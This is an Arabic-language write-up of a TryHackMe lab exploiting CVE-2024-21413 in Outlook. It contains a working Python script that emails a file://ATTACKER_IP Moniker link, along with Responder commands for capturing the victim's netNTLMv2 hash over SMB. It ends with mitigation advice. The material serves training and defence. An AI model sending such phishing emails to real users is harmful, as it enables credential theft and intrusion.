وحدة استغلال البريد الإلكتروني Moniker Link-CVE-2024-21413 — التوثيق

نظرة عامة: إثبات مفهوم عملي يوضح استخدام ارتباط Moniker Link في بريد HTML لتحفيز اتصال SMB من Outlook، مما يسمح بالتقاط تجزئة netNTLMv2 الخاصة بالضحية عبر Responder. يعرض ذلك مهارات عملية في اختبار الاختراق، والبرمجة النصية، وتحليل بروتوكولات الشبكة.

المهارات الرئيسية المُقدَّمة

• كتابة نصوص Python لتسليم البريد الإلكتروني تلقائيًا
• فهم بروتوكولات SMB وNTLMv2 وLLMNR وNBT-NS وMDNS
• إعداد Responder ومراقبته لالتقاط التجزئات
• استكشاف أخطاء إعدادات الشبكة/DNS في Linux وإصلاحها
• بناء سيناريو هجومي أمني مُتحكم به في بيئة مختبرية

سير عمل إثبات المفهوم

1. إعداد مستمع SMB: ابدأ تشغيل Responder على جهاز المهاجم لمراقبة محاولات مصادقة SMB.
2. إرسال بريد مخصص: استخدم نصًا برمجيًا بلغة Python لتسليم بريد HTML يحتوي على ارتباط Moniker (file://) يشير إلى مشاركة SMB الخاصة بالمهاجم.
3. التقاط التجزئة: عندما ينقر الضحية على الارتباط، يحاول Outlook جلب الملف عبر SMB، ويلتقط Responder تجزئة netNTLMv2.

الحد الأدنى من سكربت الاستغلال

# exploit.py (trimmed)
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr

sender = '[email protected]'
receiver = '[email protected]'
mailserver = '10.201.52.124'  # THM SMTP server
password = input('Enter attacker email password: ')

html = '<p><a href="file://ATTACKER_IP/test!exploit">Click me</a></p>'

msg = MIMEMultipart()
msg['Subject'] = 'CVE-2024-21413'
msg['From'] = formataddr(('CMNatic', sender))
msg['To'] = receiver
msg.attach(MIMEText(html, 'html'))

with smtplib.SMTP(mailserver, 25) as s:
    s.ehlo()
    s.login(sender, password)
    s.sendmail(sender, [receiver], msg.as_string())
    print('Email delivered')

نصيحة: استبدل ATTACKER_IP وmailserver قبل التشغيل. في مختبر TryHackMe، كلمة المرور هي attacker.

تشغيل Responder

responder -I ens5

استبدل ens5 باسم واجهة الشبكة لديك.

استكشاف أخطاء /etc/resolv.conf وإصلاحها

أحيانًا يفشل Responder بسبب روابط رمزية معطلة في /etc/resolv.conf. أصلح ذلك باستخدام:

rm -f /etc/resolv.conf
printf "nameserver 8.8.8.8
nameserver 1.1.1.1
" > /etc/resolv.conf
chmod 644 /etc/resolv.conf
cat /etc/resolv.conf

المهارات المُبرَزة: استكشاف أخطاء Linux وإصلاحها، وإعداد DNS، وتكييف الأدوات مع بيئات السحابة/الآلات الافتراضية.

لقطات شاشة التقدم

1. خطأ / مشكلة Resolv.conf:`

2. تم تطبيق إصلاح DNS:

3. سكربت البريد الإلكتروني بلغة Python:

4. تسليم الاستغلال:

5. صندوق وارد الضحية:

6. تجزئة الضحية الملتقطة:

الأدوات والأوامر المستخدمة

• Responder: مستمع SMB/LLMNR/NBT-NS/MDNS
• Python3: تنفيذ سكربت البريد الإلكتروني لإثبات المفهوم
• smtplib / email.mime: مكتبات Python لإنشاء وإرسال رسائل البريد الإلكتروني
• أوامر Linux shell لاستكشاف أخطاء DNS وإصلاحها

المهارات المكتسبة / إبراز المحفظة

• محاكاة الهجمات الشبكية وسير عمل الاستغلال
• أتمتة متجه الهندسة الاجتماعية (بريد Moniker Link)
• التقاط وتحليل تجزئات netNTLMv2
• استكشاف أخطاء متعدد التخصصات: Python، والشبكات، والتفاعل بين Windows وLinux
• توثيق وعرض سير العمل للمراجعين التقنيين

ملاحظات التخفيف والدفاع

• تعطيل المحتوى الخارجي التلقائي في Outlook
• حظر اتصالات SMB الصادرة إلى الشبكات غير الموثوقة
• فرض توقيع SMB وسياسات المصادقة الحديثة على عملاء Windows

الإسناد

مقتبس من مختبر TryHackMe MonikerLink ومن إثبات المفهوم الأصلي لـ CMNatic (GitHub)